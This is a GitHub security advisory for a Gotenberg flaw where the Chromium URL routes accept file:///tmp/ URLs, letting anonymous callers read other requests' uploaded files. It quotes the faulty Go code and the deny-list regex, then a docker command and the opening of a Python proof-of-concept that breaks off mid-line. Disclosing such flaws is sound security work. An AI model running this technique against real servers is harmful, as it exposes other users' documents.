GitHub Security Advisory: GHSA-g924-cjx7-2rjw
Package: github.com/gotenberg/gotenberg/v8 (GO)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-73: External Control of File Name or Path, CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 8.31.0
Patched in: 8.32.0

Summary: Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme

Details:
## Summary

The `/forms/chromium/convert/url` and `/forms/chromium/screenshot/url` routes accept `url=file:///tmp/...` from anonymous callers. The default Chromium deny-list intentionally exempts `file:///tmp/` so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request `AllowedFilePrefixes` guard to scope the read. The URL routes never set `AllowedFilePrefixes`, so the scope guard silently skips. Alice enumerates `/tmp/`, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.

## Details

The default deny-list regex at `pkg/modules/chromium/chromium.go:449` uses a negative lookahead to exempt `/tmp/`:

```go
fs.StringSlice("chromium-deny-list",
    []string{`^file:(?!//\/tmp/).*`},
    "Set the denied URLs for Chromium using regular expressions - supports multiple values")
```

`pkg/gotenberg/outbound.go:185-187` short-circuits IP validation for non-HTTP schemes:

```go
if !httpLikeScheme(parsed.Scheme) {
    return outboundDecision{}, nil
}
```

So any `file:///tmp/...` URL passes `FilterOutboundURL` cleanly.

The HTML route pairs the exemption with a per-request scope guard (`pkg/modules/chromium/routes.go:518`):

```go
options.AllowedFilePrefixes = []string{ctx.DirPath()}
```

and the CDP `Fetch.requestPaused` handler enforces the scope (`pkg/modules/chromium/events.go:65-78`):

```go
if allow && strings.HasPrefix(e.Request.URL, "file://") && len(options.allowedFilePrefixes) > 0 {
    prefixMatch := false
    for _, prefix := range options.allowedFilePrefixes {
        if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
            prefixMatch = true
            break
        }
    }
    if !prefixMatch {
        allow = false
    }
}
```

The `len(options.allowedFilePrefixes) > 0` condition skips the entire enforcement block when the slice is empty. The URL route handler at `pkg/modules/chromium/routes.go:406-448` (`convertUrlRoute`) never populates `AllowedFilePrefixes`. `MandatoryString("url", &url)` takes the form value without scheme validation and passes it to `convertUrl` → `chromium.Pdf` → Chromium navigation.

Gotenberg stores uploaded request assets at `/tmp/<gotenberg-work-uuid>/<request-uuid>/<file-uuid>.<ext>` (`pkg/gotenberg/fs.go:64-65`). Chromium renders the targeted `file://` URL as a PDF and the response body returns to the caller.

## Proof of Concept

Reproduction uses the stock Docker image with no auth:

```bash
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
```

Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. `waitDelay=15s` stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):

```python
import requests, threading, time, subprocess, re
TARGET = "http://localhost:3000"
SECRET = f"BOB-CROSS-REQ-LEAK